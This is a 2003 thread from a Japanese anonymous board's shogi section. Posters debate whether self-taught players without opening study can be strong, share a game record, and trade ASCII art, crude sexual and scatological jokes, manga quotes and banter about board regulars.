 ノ_/. `っ' l_ゝ∴∴∴∴∴∴∴∴∴∴∴∴∴∴ ┃ミ ゚Д゚#彡 ,,,,,,,, ゙〜
   (__)ω(__)                      ┃  U U """"UU

    ∧_∧
  _(;`・ω・´)_                         ∧,,∧  <さらに反撃のエロチャット!
⊂) (ニ 。  。 ) (⊃ /NVVVVVVVVVVVVVVVV  ∩ミ ゚Д゚#彡
  l  }、  ,{ T´ < -GOLGO13- > ゴルゴ13cm   ⊂ミ   ミ
 ノ_/. `っ' l_ゝ  \NVVVVVVVVVVVVVVVV    ミ   ミ
   (__)ω(__)                         ∪ ∪

155 :名無し名人:03/02/18 16:11 ID:brlPJ4+f
         /VVVVVVVVVVVVVVVVVVVVVVVVVVN\      ∧,,∧  ゴルゴのムスコなど
( `・ω・´)∩ ムスコビ━━━━━━━━━━━━━━ム  >     ミ゚Д゚,,彡   貧弱貧弱ゥゥ!
      ⊃  VVVVVVVVVVVVVVVVVVVVVVVVVVVN/       ミ   ミ

                   .,・    ' ., ドガガガガガ      .,・:.
         /VVVVVVVVVVV ;;''"´"'''::;:,,,     :;:,   .,・         ∧,,∧ フサフサ流奥義
Σ(;`・ω・´)∩ ムスコビ━━━ ;; ミ,,゚Д゚彡,,;;;;´"'';・ '   ;、,  ;,'. ≡=-\ミ゚Д゚,,彡 フサフサクラッシャー!
       ⊃  VVVVVVVVVVV∴´''::;;;;::'''"´  ,・  .,"    ・   ;:.,     ミ   ミ
                   ,.;:;,.    ∵.,      ・:.,:' ';:.,

          ビリビリ
   人人人人人                                   ∧,,∧
 ≪(;`・ω・´)∩ミ≫ ムスコニ クッツイター                      ミ゚Д゚,,彡 ニヤニヤ
   `Y^Y^Y^Y^Y´                                  ミ   ミ

           フサボッキーン                           ∧,,∧
  ミ `・ω・´彡ミ∩ミ                               ヽミ゚Д゚,,彡ノ フサフサー
                                             ミ   ミ

156 :名無し名人:03/02/18 16:18 ID:brlPJ4+f
(`・ω・´)∩ボッキーン

やた!ゴノレゴとそのムスコ様が2ゲットだ!
平伏せ皮被りども!!我は巨大なり!我は巨大なり!
MUSUKO IS BIG! MUSUKO IS BIG! MUSUKO IS BIG!

>>3     -GOLGO13- > 俺は普通に話したらマンコ
>>4     -GOLGO13- > まんこ七冠王ですが何か?
>>5     -GOLGO13- > 別にホケーイでもz2は構わないよ
>>6     -GOLGO13- > ふさふさ毛ちんぽの称号を与えます
>>7     -GOLGO13- > ウレッコ読者ですが
>>8     -GOLGO13- > まんこにチーンまんこにチーン
>>9     -GOLGO13- > 大人は まんこが好きだからいいんだよ
>>10    -GOLGO13- > まんこ連呼は紳士のたしなみ
>>11以下 -GOLGO13- > カスまみれだまりなさい

157 :名無し名人:03/02/18 16:21 ID:brlPJ4+f
  (б∇б)ノ

にゃはは♪名無しめぐが2ゲットだにゃ♪
いっくぜぇ〜〜〜〜♪うっへ♪

>>3     ふぎゅっ!
>>4     ふぎゅぎゅっ!
>>5     はうあっ!
>>6     月に代わっておしおきだぞぉ〜♪
>>7     ネカマっていうなぁっ!
>>8     えへへ・・・
>>9     だからエロめぐじゃないってばぁっ!!ごるぁっ!!
>>10    えいやあっ!!
>>11以下 わが栄光のぉ・・スクランブル隊はぁ・・永遠に・・・

158 :名無し名人:03/02/18 16:24 ID:brlPJ4+f
一旦改訂終了。「ムスコの唄」と「大きな古ムスコ」は10こま以上の長編になる可能性があります。

159 :名無し名人:03/02/18 16:42 ID:brlPJ4+f
>>149
変な初手で勝つと快感だよね。
俺の初手48金(2手目62金)は勝率7割だよ。
初手から金銀を盛り上げる手は押さえ込みやすくて意外と実戦的。
98香も試してみるかな。

>>150
正直浮雲はよくわかりませぬ。

>>151
無理

160 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/18 17:26 ID:SYw7LgZB
つーか、フサ指してないだろ。
マジで目がやばいの?

161 :名無し名人:03/02/18 17:50 ID:UpR/J1U0
ふさたん元気ポイ(゜▽゜)

162 :名無し名人:03/02/19 00:15 ID:v78WAHcp
   ♪ムスコの唄♪

きのこのこのこ ぼっきのこ
ぶっとい けっかん うきでてる
きのこのこのこ ぼっきのこ
おおきいムスコは ゴルゴ

きのこのこのこ ぼっきのこ
はごたえコリコリ かわあつい
きのこのこのこ ぼっきのこ
ゴルゴルゴルゴでぼっきのこ

みんなムスコのこ すっすめ
マンコパワーだ やったったった
しきゅうにだして どっくどっく
ゴルゴクッキング

きのこのこのこ ぼっきのこ
おかずはきょだいな 赤まつたけ
きのこのこのこ ぼっきのこ
おおきいムスコは ゴルゴ
おおきいムスコは ゴルゴ

163 :名無し名人:03/02/19 00:16 ID:v78WAHcp
ムスコの唄改訂終了。AA作成にかかる。

>>160
指してるが。

>>161
あそこは元気です

164 :名無し名人:03/02/19 06:20 ID:uQTLEz8h
他人が上達しなかったりすることで何故26が困るのか分からない。


165 :おれ14級:03/02/19 11:31 ID:PzSHSwQe
26じゃないけど、おれのリアル将棋相手は全く勉強しなくて進歩しないのでこまる。
読み自体はそれほど差がないんで、仕方なくゆるめてやるんだが、こっちが固めると自爆してきて勝負にならんのよ…
定跡ぎらいにおぼえさせるにはどうしたもんか…
おれは定跡きらいとかいうし、升田やふさぎこも定跡ふまえた上での新手だと思うんだが。
がちんこに囲って勝ち続けても逆に相手してくれなくなったらいやだしなぁ。

166 :名無し名人:03/02/19 18:46 ID:v78WAHcp
>>164
多分自分が受験生のような必死こいた気持ちで勉強しているのに
定跡なんか全く知らないようなのにコロコロ負けてるのが嫌なんじゃないの?

>>165
升田九段はともかく俺は定跡全然知らないよ。
生まれてこの方研究だとか定跡の勉強なんてしたことない。
感想戦もほとんどしないし、9割方実戦だね。

167 :名無し名人:03/02/20 22:35 ID:WiOrgYkh
ほっしゅほっしゅ

168 :名無し名人:03/02/22 22:50 ID:bfP5wif3
ほっしゅるーむ

169 :名無し名人:03/02/24 04:37 ID:vupjk+ZN
hosyu

170 :名無し名人:03/02/24 20:39 ID:vupjk+ZN


171 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/24 22:07 ID:Bvifg/uN
超ちんこ流

172 :名無し名人:03/02/25 15:12 ID:EVoCON9v
超ちんこ流のやつってむかつく

173 :名無し名人:03/02/26 01:41 ID:KrWrGbGs
超ちんこ

174 :ハマグリ君 ◆ZLTUaz4ne2 :03/02/26 07:19 ID:XcQ2eCR9
276 :名無し名人 :03/02/25 20:38 ID:K0YXLhTV
a-yaya.
会員 1974 (三段)
[today] 0勝 0敗
指してる、こいつあややだったよな?


これってフサだったんだw

175 :名無し名人:03/02/26 23:26 ID:KrWrGbGs
粘着め…対戦相手探してるときに?付いてるなと思ってみたらあややだった

176 :名無し名人:03/02/27 00:02 ID:Y5pROMys
おもしろいID記念書き込

177 :名無し名人:03/02/28 01:02 ID:MGSkMGjP
IDがメタルギコソリッド

178 :ハマグリ君 ◆ZLTUaz4ne2 :03/03/01 06:20 ID:OGwqQUx2
フサには世話になったよ。
いろいろありがとう。
いや、マジで。

始めて2ちゃんの人と指したのがフサだった
コテハンになったのもフサがいたから。
将棋が強くなったのもフサのおかげかもしれない。
楽しい時間がすごせて俺は幸せだったよ。

さよなら、さよなら、さよなら。

179 :名無し名人:03/03/01 07:05 ID:zrxzYZ+x
元気でな。

180 :名無し名人:03/03/01 07:50 ID:2tOUlnWd
こちらこそありがと、じゃあね

181 :名無し名人:03/03/01 18:26 ID:2tOUlnWd
kadokenには還ってきて欲しいな

182 :名無し名人:03/03/02 04:38 ID:g1V4gAeq
ほっしゅ

183 :名無し名人:03/03/02 14:31 ID:45aJyabA
しろうそにはかえってきてほしい

184 :名無し名人:03/03/05 00:15 ID:2TlNT4b7
age

185 :名無し名人:03/03/05 00:29 ID:bgDn/gdZ
24のl0vel0veの将棋を見れ

186 :名無し名人:03/03/05 00:33 ID:Gmvu1Bn9
かのアインシュタイン先生は超自己流で相対性理論を完成させました。
論文を完成させた時の引用文献が0だったとか。

187 :名無し名人:03/03/05 01:25 ID:2Uhlbzdy
>>186
といってもさ、若いときには物理や数学の基礎を書物できっちりと学んだんじゃないの?
基礎あっての独創だと思うが。
ていうか、でたらめ将棋指してるヤシとアインシュタインを一緒にするな。
失礼にもほどがある。

188 :186:03/03/05 01:47 ID:LAYqoVHL
>>187
ついでに、アインシュタインの話を。
彼の凄いところは当時は研究者でさえなかったところ。
特許局につとめ趣味で物理をやっていた。
かの相対性理論も光についての彼の妄想といっていい考え方から産まれた。
なかにはこんな超自己流の大天才もいるんだなぁと感動を覚える。
引用文献0なんて、ありえないほど独創的な仕事。

別に>>1の言ってる将棋の勉強しない奴とアインシュタインを一緒にしたつもりはなかったんだけど、
そうとられたんなら申し訳ない。

189 :名無し名人:03/03/05 01:58 ID:xfEUdMdI
実力が自分より上だったら自分の勉強が足りてない場合のが多いんじゃねえの
下だったら勉強してもそれなんだろ。

まったく先人の知恵なしにまともに強くはなれんよ。

190 :名無し名人:03/03/05 02:02 ID:9UQsBieV
>>186 >>188
すごく興味深い話をありがとうございます。
引用文献0か〜。
自己流将棋なんかどうでもいいと思ってしまうほどいい話でした。
理系の将棋ファンの方ですね?引用するのはまず英文読むのに骨が折
れますし、どの雑誌の何ページからだ・・・と記すのが面倒くさ
くて・・・と思ってましたが、引用0の独創的な研究は無理ですね!

小学校の教室将棋というのか、桂馬がピョンピョンとんでくる将棋
には面食らいました。多分、定跡書なんか読んだことない人だと思
いますが、こういうのはでたらめ将棋でしょうか?指してて、新鮮でし
たし、楽しかったです。力将棋1本で鍛えた人って侮れないなと思
いました。

191 :名無し名人:03/03/05 02:08 ID:LAYqoVHL
>>187
きっちりってほどでもなく、自分の好きな分野だけは一生懸命やる学生だったらしい。
物理実験の成績は1だったとか。
アインシュタインが書物ばかりに頼っていたら偉業は成し遂げられなかったと思う。
別格の天才ってそういいうもんなのよ。
ガリレオ・ガリレイとか。

192 :名無し名人:03/03/05 15:53 ID:hr4rYbsu
穴熊戦法があるなら、こっちは月の輪熊戦法だ。

193 :名無し名人:03/03/05 15:59 ID:Cw/kVl05
小池重明は自己流でしたが何か?

194 :miya本人です ^^;:03/03/05 16:14 ID:ZvHRXTTa


屋敷よりも強い俺様でも たまにわざと負けてやるよ^^;
お前ら この棋譜見れば俺様の実力が解ると思うぜ・・
お前ら全員挌下だよ^^;

先手:はじめ 後手:miya

▲7六歩 △3四歩 ▲2六歩 △4四歩 ▲2五歩 △3三角
▲7七角 △3二飛 ▲4八銀 △4二銀 ▲6八玉 △6二玉
▲7八玉 △7二銀 ▲8八玉 △7一玉 ▲5八金右 △5二金左
▲9八香 △4三銀 ▲9九玉 △3五歩 ▲8八銀 △5四歩
▲5六歩 △8二玉 ▲7九金 △4二角 ▲6八金寄 △9四歩
▲7八金寄 △3六歩 ▲4六歩 △6四角 ▲6八角 △3四飛
▲3六歩 △同 飛 ▲2四歩 △同 歩 ▲2二歩 △3三桂
▲2一歩成 △2五桂 ▲1一と △3七歩 ▲4七銀 △3二飛
▲3六香 △3八歩成 ▲同 飛 △3四歩 ▲2六歩 △4五歩
▲2五歩 △同 歩 ▲3七飛 △2六歩 ▲4五歩 △2二飛
▲2四歩 △3七角成 ▲同 桂 △4九飛 ▲2五桂 △4七飛成
▲3三桂成 △3六龍 ▲2三歩成 △同 飛 ▲同成桂 △5五歩
▲1二飛 △5六歩 ▲3三成桂 △5四銀 ▲4四歩 △5七歩成
▲同 角 △4七龍 ▲2四角 △4四龍 ▲4二成桂 △6二金寄
▲5一成桂 △2三銀 ▲4二飛成

87手にて 先手はじめの勝ち miyaのボロ負け


195 :fusafusaDORAEMON:03/03/09 09:53 ID:nttEX/Fx
保守。

196 :名無し名人:03/03/09 22:43 ID:FJXY3Brw
他の類似したゲームに比べると単純馬鹿が多いのは確かだ。
「何でもアナグマ」とか「棒銀馬鹿」とか「原始中飛車君」が多いし、
チェスや囲碁よりも平均学歴が低くて不勉強な奴が多いのは事実。
将棋というゲームが自己流でもある程度勝てるルールになっている以上は仕方ないが・・
初手3六歩や相居飛車の四手目7四歩とか、厳密には悪い形でも
案外咎め難いことがかえって災いしていると思われる。

197 :名無し名人:03/03/09 22:46 ID:AALCcI5H
形なんかどうだっていいんだ。
重要なのは駒の効率と大局観さ。

198 :名無し名人:03/03/09 23:04 ID:G2njpvgS
具体的な読みが一番大事だろ

199 :名無し名人:03/03/10 16:56 ID:ipVNvdpu
>>197>>198
そうかぁー。形にこだわる必要がないのかぁー。
喧嘩と同じで「最善じゃなくても勝てればよい」という発想でも許されるゲームだから低学歴が多いのかぁー。
低学歴には「最善を求める」とか「真理を探究する」なんていうストイックさとは無縁だもんな。

200 :名無し名人:03/03/10 18:43 ID:LRsTE7eK
具体的な読みは最善の追究じゃないの?
意味不明。

201 :名無し名人:03/03/10 18:47 ID:P+2RLfYt
>>199
学歴しか誇れるものがないんですか?
っていうか、頭悪そうなこと書きますね。

202 :名無し名人:03/03/10 19:20 ID:vjjww5zL
将棋やんのに、いちいち学歴を気にしてんの?


203 :フサギコ ◆e51syuFUSA :03/03/10 22:13 ID:y4QKc4OI
まぁ俺の基本スタンスはどんなに変な手を指しても
最終的に勝てれば全く無問題だからな。
真理を探究するのはむしろいろんな形を指さないとダメなんじゃ?
既存の形の中に最終的な最善があるとは思わないが。

204 :名無し名人:03/03/11 15:03 ID:Rcu6Q6Jn
今フサギコがフサギコとは思えないような良いこといった!!!!!!!!!!!!

205 ::03/03/12 06:00 ID:k/U1zOxD
将棋が強い奴は学歴がいいかはしらんが頭がいいってことはたしかだ

206 :フサギコ ◆e51syuFUSA :03/03/12 06:02 ID:kLgHJjWz
俺は頭悪いよあは^^;

207 :フサギコ ◆e51syuFUSA :03/03/12 06:03 ID:kLgHJjWz
俺が強いかどうかは別問題として
俺より弱い奴で頭のいいやつはいっぱいいるから
205の言ってる事はあてはまらないと思う

208 : ◆z2.FUCKas2 :03/03/12 06:08 ID:JdfHE4IS
>>207
馬鹿の分際で議論するな
適当に叫んどけ。アホ。

209 :フサギコ ◆e51syuFUSA :03/03/12 06:10 ID:kLgHJjWz
>>208
あーーーーーーーーーーひゃひゃひゃひゃひゃひゃひゃひゃひゃひゃひゃ
hahhahhhhhahaahahahahhhhahahahahahaahaああh
うんこうんこうんここうんうこんうこんううんこうんうこうんこうんうこん

210 : ◆z2.FUCKas2 :03/03/12 06:14 ID:JdfHE4IS
>>209
自分の才能の無さにやっと気付いたか。
あほは一生叫んでろ。
しかし・・・sageでカキコするあたりまだまだだな

211 :名無し名人:03/03/13 18:51 ID:LFHOOiMI
>>203
最善を求めて多くの形を指すのと出鱈目に指すのとでは月とすっぽんだが、
アマチュアの場合には後者のほうが圧倒的に多いのではありませんか?
多分あなたは前者だとは思いますけど。

212 :名無し名人:03/03/13 18:55 ID:gP4QfqYW
ふさはうんこ味のうんことうこん味のうんこどっちがたべたい?

213 :フサギコ ◆e51syuFUSA :03/03/13 18:57 ID:hWT8p3lv
>>211
出鱈目の中に最善を求めるのだ

>>212
じゃあこうん味のうんこ

214 :名無し名人:03/03/13 19:16 ID:lExDfs5n
雁木って矢倉より理論的に好形なような気がする。

215 :名無し名人:03/03/13 19:23 ID:hWT8p3lv
77銀は偏った感じがあるよね
67銀最高!

216 :名無し名人:03/03/15 15:01 ID:lCcKpuX4
ふさたんがいる時、名無しで カキコするとたいていレスしてもらうのに、
コテハンだと一回もレスしてもらったことがありません
なにかまずいことしたでしょうか?

217 :名無し名人:03/03/15 15:22 ID:P4akd+FT
>>1
べつに将棋強くなろうって思ってなくて楽しめればいいやってやしもいる。
ちゃんと定跡の勉強して強くなろうとしているのに自己流の戦法を受けられないで負ける>>1はザコ


218 :名無し名人:03/03/15 21:32 ID:2o4MiHp5
俺が自己流だと思って指していた変化も定跡になったわけだが

219 :名無し名人:03/03/16 17:11 ID:9Mmg0CMA
216ですが何かこたえてよ
粘着でスマソ

220 :フサギコ ◆e51syuFUSA :03/03/16 19:10 ID:cslioLlB
あひゃひゃこのスレのこと忘れてたよあひゃひゃ
歩は白兵

>>216
さあ、気分じゃない?
名前欄(コテハン)の違いでレスするしないとかは別に決めてないけど。

221 :フサギコ ◆e51syuFUSA :03/03/20 11:31 ID:Tq/fEOAq
もう将棋板はダメなのかな…と考える。
自スレにだけ引き篭もってりゃいいのに雑談スレに進出してきて更には
コンお断りスレにまで来やがった。
これも放置すればいいんだけど皆放置出来てないし、
需要(コン、真性強力電波)と供給(将棋板住民、ネタに飢えてる)の関係が成り立ってる以上
雑談スレはほぼ潰れた形になってる。
かと言って他のスレじゃ回転悪くて常駐する気にならないし、
現在俺が将棋板で一番面白いと思えるスレが雑談スレだからなぁ。
それにコンはもう少ししたら板中のスレに来そうだし、
そうなったら将棋板は完全に潰れるな。

222 :ハマグリ君 ◆ZLTUaz4ne2 :03/03/20 12:55 ID:Yn/iKr72
フサもいろいろ考えてるんだな。

223 :名無し名人:03/03/21 00:06 ID:8bQrXWRi
あんたもコンがいないとかくことないだろ

224 :ハマグリ君 ◆ZLTUaz4ne2 :03/03/21 12:03 ID:xj84fcOr
どうYO!!
俺ってすごくない?w

すごくないですね(´・ω・`)

225 :名無し名人:03/03/21 16:31 ID:elQ9d+yZ
1は死んだ!

226 :名無し名人:03/03/21 19:34 ID:kkE+MfSs
低級だと自己流対決藁

227 : :03/03/22 01:34 ID:SOgO62UA
5筋位取りの中飛車のはめっぽい変化で1勝1敗だったけど
あーいうのあんま指す気がしないな

228 :通行人A:03/03/22 01:40 ID:vcLfpW/M
坂田三吉は坂田金時の子孫です。

229 :名無し名人:03/03/22 16:23 ID:hioimibB
自己流ってある意味最強
自分だけがその手の狙いや意味知ってるわけだから

230 :名無し名人:03/03/22 20:08 ID:agSiN39E
>>221
コンって穴熊スレのキチガイ?ぁゃゃと口調がまるっきり同じなんだが。
他のスレでも暴れてるね。(好きな駒スレとか)

あそこまでいかれてるとかえって盛り上がらずに廃れちゃうぽ(´・ω・)

231 :フサギコ ◆e51syuFUSA :03/03/22 20:10 ID:X4nZQTv4
コンチェルト=あやや=コロりん

232 :フサギコ ◆e51syuFUSA :03/03/22 20:10 ID:X4nZQTv4
穴熊スレにもいたのかw

233 :名無し名人:03/03/22 22:14 ID:agSiN39E
>>232
大分前から居着いてるぞ
電波が共鳴して居心地がいいのかなw

234 :bloom:03/03/22 22:16 ID:PLW/3/Et
http://www.agemasukudasai.com/bloom/

235 :名無し名人:03/03/23 20:06 ID:1hB0Ja1k
コンは居飛車党で穴熊多用してるぞ?

236 :フサギコ ◆e51syuFUSA :03/03/24 00:26 ID:KIAhJcQt
穴熊スレみたけどそれっぽいの居なかったぞ
電波弱め

237 :名無し名人:03/03/24 17:50 ID:2gX3wm92
よくベテラン棋士が自己流の戦法を使って力戦にもちこむことがあるが、これが意外と作戦勝ちになりやすい
最先端の研究についてゆけないハンデをごまかすためかもしれない
たとえ筋がわるくてもやはりいきなりやられてその将棋のなかでとがめるというのは難しいものだ
だがいかんせん終盤力の差で若手に逆転されることが多いのが悲しいとこだけど…

238 :名無し名人:03/03/25 19:00 ID:/vN6916n
悲惨な1。キモチわるいよー

239 :フサギコ ◆e51syuFUSA :03/03/27 12:52 ID:gAHzGYYS
>>237
俺も自己流だと作戦勝ちになりやすいよ
どんなに筋が悪くてもいい手が指せれば勝てるんだしね
まぁ俺も終盤はかなり弱めなわけだが

240 :名無し名人:03/03/27 22:45 ID:csxCFJG8
藤井システムがアマチュアに与えた悪影響は計り知れない。
居飛車の急戦に対しても居玉で右桂を跳ね出して攻撃しようとする意味不明のカスが散見される。
一昔前ならいくら低級でも振り飛車党なら、とりあえずオーソドックスな駒組で指していたので
そこまで馬鹿っぽい将棋はなかったのだが・・・

ゴキゲン中飛車についても悪影響が大きい。
形だけ真似して結局原始中飛車の出来損ないと化している将棋を多く見かける。

結局、本当に悪いのは自己流の将棋ではなく勉強不足な将棋。
ろくに研究していないが、そのくせ創意工夫の跡もさほど見られない将棋は情けない。

241 :フサギコ ◆e51syuFUSA :03/03/27 22:51 ID:gAHzGYYS
そうだろうね、いくら歩自慰が穴熊に対して優秀であっても、
相手が穴熊じゃなくても歩自慰したりするんじゃ
本当に何も考えてないよね

242 :名無し名人:03/03/28 13:33 ID:9zRDI+8b
最近の対振り急戦は押さえ込み主流だから藤井も攻める事が多いよね
つーかさばきより攻めが好きなんだろうけど
金とかあがっていくのは漏れらにはかなりさしにくいよな
さすがにシステムぽいのは無理だけど
左辺が2手くらいとまってるなら玉頭からいくのもありだとおもう

243 :名無し名人:03/03/30 16:22 ID:LNwX4a3g
ふさたんたんでておいで

244 :名無し名人:03/03/30 16:37 ID:g4hidROb
>>243 ぼくのまねしてる・・



245 :フサギコ ◆e51syuFUSA :03/03/31 18:20 ID:wymJrwDK
角不成りをかますやつはしね
http://game.2ch.net/test/read.cgi/bgame/1048942817/

こういうスレを発見。
成るか成らないかどっちでも結果が変らない場合成るのが常識とされているが、なぜだろうか?
相手に失礼と言う理由らしいが一手後に消去されるものに失礼も何も無いと思うけどなぁ。
俺自身は成った方が格好良いと思うけど面倒臭い時は成らない。
まぁとりあえずメリットを考えてみる。

成った場合のメリット
・相手に失礼でない
・棋譜をつける場合書きやすい

成らなかった場合のメリット
・労力+時間がかからない(指し方がヘタレな俺は成ると1秒は確実に余計にかかる)

これはメリットなのかデメリットなのか難しいが
・成った場合とならない場合では相手の反能が多少違うである事が予想される
全く気にしない
怒って本気で指してくる(ヤヴァイ)
怒りすぎて頭に血が登る((゚д゚)ウマー)
奇襲を警戒して慎重になる(ヤヴァイが序盤から時間を使わせられるのでいいかも)

うーん、どうなんだろうねぇ…

246 :フサギコ ◆e51syuFUSA :03/03/31 18:27 ID:wymJrwDK
振り飛車全盛の昨今、穴熊に対して歩自慰システムを狙うのは普通だ。
では歩自慰システムに対して穴熊を狙うのは何故だろうか?
歩自慰システムは独特の序盤だから予測できるはず。
歩自慰相手に93桂に対し78玉としたのは谷川が初めてだったと思うが
何故他の棋士はそれまでやらなかったのだろうか?
今は歩自慰システムに対し矢倉みたいやつがあるようだが
88玉85桂65歩なんか食らっちゃ勝てる気は全然しない。
まぁ俺は繋げるか切れるかわからん端攻めをやる気も
その端攻めに対して真正面で受ける気も全く無いけど。

247 :名無し名人:03/03/31 20:32 ID:W7r8JSVI
八五飛が勝ちまくってたときも
それでも横歩をとる実利を優先するとか気合いとかいう人がいたけど
結局穴熊や横太りの勝率がそれまで高かったからそれにしがみついてたかっただけなんじゃないの?

248 :名無し名人:03/03/31 20:41 ID:21BRvOCt
つーか中座流の勝率が六割近かったときもプロの人はなんで相掛かりや無理矢理矢倉をやらなかったの?

249 :名無し名人:03/03/31 21:21 ID:zkTk9WF/
>>240
左銀が57に上がる居飛車急戦なら藤井システムでも勝てるっぽ
57に銀上がられたら22に飛車振り戻すってどーよ?

まあ相居飛車になってしまうがな

250 :フサギコ ◆e51syuFUSA :03/04/03 00:01 ID:hSCf9CP1
         \    ジョジョ信者と言えば?        /ナンダココハ    コワイモナー     ヒイィィィッ
ジョジョスレが   \         ∧_∧∩電波だろ!. /  ∧_∧     ∧_∧    ∧_∧
また立ったんだって\      ( ・∀・)ノ______  /  ( ;・∀・)    (; ´Д`)    (´Д`; )
          ∧ ∧\    (入   ⌒\つ  /|. /  ⊂   ⊂ )    ( つ ⊂ )    ( ⊃   ⊃
         (゚Д゚ )_ \    ヾヽ  /\⌒)/  |/     〉 〉\\   〉 〉 く く   //( (
     / ̄ ̄∪ ∪ /| .\  || ⌒| ̄ ̄ ̄|    /     (__) (_)  (_.)(_)  (_) (__)
   /∧_∧またですか・・・\    ∧∧∧∧ /             『ジョジョスレ』
  / (;´∀` )_/       \  < jo ま > ジョジョ信者は2ちゃん中ダソトツのキチガイ集団。
 || ̄(     つ ||/         \< jo    > 理解不能の狭窄思考の為、ジョジョ以外の漫画は
 || (_○___)  ||            < 信 た > 見向きもせず、ジョジョスレで一日中キモ雑談に興じる
――――――――――――――― .< 者    >―――――――――――――――――――――
         ∧_∧ アンチスレ      < か   >   ∧_∧プッ   ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄
         ( ;´∀`)乗っ取ってる…・ ∨∨∨ \   ( ´∀`)   (´∀` )<ジョジョヲタ必死だな(藁
    _____(つ_ と)___       ./       \ (    )____(    )  \_______
 . / \        ___ \アヒャ  /  ∧_∧狂 \∧_∧   ∧_∧  ̄ ̄ ̄/.//|
 .<\※ \____.|i\___ヽ.アヒャ ./γ(⌒)・∀・ ) 信  \   ;> <     ;>   / ┃| |
  ヽ\ ※ ※ ※|i i|.====B|i.ヽ  /(YYて)ノ   ノ 者   \↑ ̄ ̄↑\)_/     |__|/
    \`ー──-.|\.|___|__◎_|_.i‐>/ \  ̄ ̄ ̄ ̄\め     \ジョジョヲタ| ┃
      ̄ ̄ ̄ ̄|. | ̄ ̄ ̄ ̄| / ||ヽ|| ̄ ̄ ̄ ̄|| ! !       \   .|_)

251 :フサギコ ◆e51syuFUSA :03/04/05 07:22 ID:u+sq1KOR
zantetuken > おまえの行動はエンポリオ…
zantetuken > 自分の悲鳴をさらに
zantetuken > 地獄のラッパにするだけの事だった!!
zantetuken > 所詮頭に他人のDISCを入れても
zantetuken > ウェザーの能力はウェザー本人の才能ッ!
zantetuken > おまえが楽々と自由自在に操れるものではないッ!
zantetuken > そして!!
zantetuken > 再び『時を加速』させた―───ッ!!
zantetuken > 我が大いなる目的の前でエンポリオ!
zantetuken > 崩れ落ちる自分の貧弱さを思い知れェエ──ッ
zantetuken > ぐ………うぐぁなっ…!?
zantetuken > な…!?
zantetuken > なんだ…こ……れは!?
zantetuken > ……立て……ない……
zantetuken > なにかまずいぞッ!
zantetuken > もっと「加速して」逃れなくては…………!!
zantetuken > な…………

252 :フサギコ ◆e51syuFUSA :03/04/05 07:22 ID:u+sq1KOR
zantetuken > なんだ…こ……れは!?
zantetuken > ……立て……ない……
zantetuken > なにかまずいぞッ!
zantetuken > もっと「加速して」逃れなくては…………!!
zantetuken > な…………
zantetuken > な……なんだこれはウェザー・リポート!!?
zantetuken > おまえも知らなかった能力のようだな………
zantetuken > 潜在の中で眠っていたウェザーの能力
zantetuken > 本で読んだ事がある
zantetuken > 生物にとって最も身近にある「猛毒」は……
zantetuken > 「空気」である!と
zantetuken > 生き物にとって生きるためには酸素が必要だ…
zantetuken > だがその濃度は空気中では40%以下でなくてはならない…
zantetuken > 一○○%純粋な「酸素」は「猛毒」で生物を
zantetuken > 氏に至らしめる!!
zantetuken > 高濃度の酸素は「鉄」ならあっというまに錆で腐食させ
zantetuken > 炎なら爆発し!!
zantetuken > 人体の細胞分子なら電子を奪って次々と破壊していく!
zantetuken > 大量に吸うとまず手足の先から麻痺し
zantetuken > 立つ事が出来なくなる!
zantetuken > 眼球の毛細血管が切れ失明する!
zantetuken > いくら「時を加速」しようと関係ない…
zantetuken > 「ウェザー・リポート」は天候を操る能力!
zantetuken > すでにこの部屋に純粋酸素を大量に集めていたんだ
zantetuken > そして意識を失っていく…
zantetuken > 一○○%の酸素は……
zantetuken > 組織の「内部」へ…「内部」へ…
zantetuken > こ……この小僧が……
zantetuken > はッ!

253 :フサギコ ◆e51syuFUSA :03/04/05 07:22 ID:u+sq1KOR
zantetuken > ぼくの意思じゃあない
zantetuken > ウェザーの眠っていた能力だ
zantetuken > あんたがウェザーの記憶を奪い
zantetuken > そしてカタツムリの能力とともにめざめさせたのは
zantetuken > プッチ神父……
zantetuken > あんたなんだ
zantetuken > 人の出会いも「重力」!
zantetuken > あんたは因縁が切れなかった
zantetuken > うおおおおおおおお──ッ
zantetuken > や…やめろ…
zantetuken > エンポリオ……こんな事を!………
zantetuken > ウェザーを止めろッ!!エンポリオッ!
zantetuken > こんな事をさせるなァ───ッ!
zantetuken > わたしが到達したわたしの「能力」は!!

254 :フサギコ ◆e51syuFUSA :03/04/05 07:32 ID:u+sq1KOR
一部重複しちゃった↑
JOJOあそこから一週で終わったのが信じられん…
プッチ雑魚敵と変わらない扱いになってるじゃんもうw
よくしゃべるジョンガリ・Aなみだなありゃ。

で、めぐたんが2chやめたことについてだが賛成。
慣れれば面白いしあまりひどいものはあまりないとはいえ2chへの偏見は強いし
常識人から見ればこれほど壊れたところもないだろう。
2chを見てる(書き込んでる)事が回りに知られれば
呆れられるだけで決してプラスにはならないと思う。
まぁめぐたんがネカマにせよ奨励会員にせよマジ女にせよ
棋界(アマ棋界でもそこで優勝して軽くプロ棋戦に出られるだろう)
に参加して欲しいとは思う。

255 :フサギコ ◆e51syuFUSA :03/04/05 23:19 ID:u+sq1KOR
別HNだと三段維持できてません
なんでだろう

256 :名無し名人:03/04/05 23:29 ID:5J6x9ZkQ
ザンテツケン=ソフト

257 :フサギコ ◆e51syuFUSA :03/04/06 03:26 ID:OATLm3Sj
東大将棋はすばらしいね

258 :名無し名人:03/04/07 09:49 ID:3WQ60vle
−こくまろは−
二度と24にはもどれなかった…
ころりんとベビーフェイスの中間の存在として永遠にネット上をさまよいつづけるのだ
そして入ろうとおもっても入れないので
−こくまろは将棋をやめた

259 :名無し名人:03/04/07 17:16 ID:yNQk9/EE
−めぐたんは−
二度とにちゃんにはもどれなかった…
男と女の中間の存在として永遠に24をさまよい続けるのだ。
そして釣ろうとしても釣れないので
−めぐたんはコテハンをやめた。

260 :名無し名人:03/04/07 17:24 ID:yNQk9/EE
−ふさふさどらごんは−
二度と四段にはもどれなかった…
二段と三段の中間の存在として永遠に24をさまよい続けるのだ。
そして四段復帰しようとしてもできないので
−ふさふさどらごんはRをやめた。

261 :あぼーん:あぼーん
あぼーん

262 :フサギコ ◆e51syuFUSA :03/04/07 22:52 ID:ng8pmTVH
>>258-259
(・∀・)イイ!

>>260
もう少しましだぞ、訂正

−ふさふさどらごんは−
二度と五段にはもどれなかった…
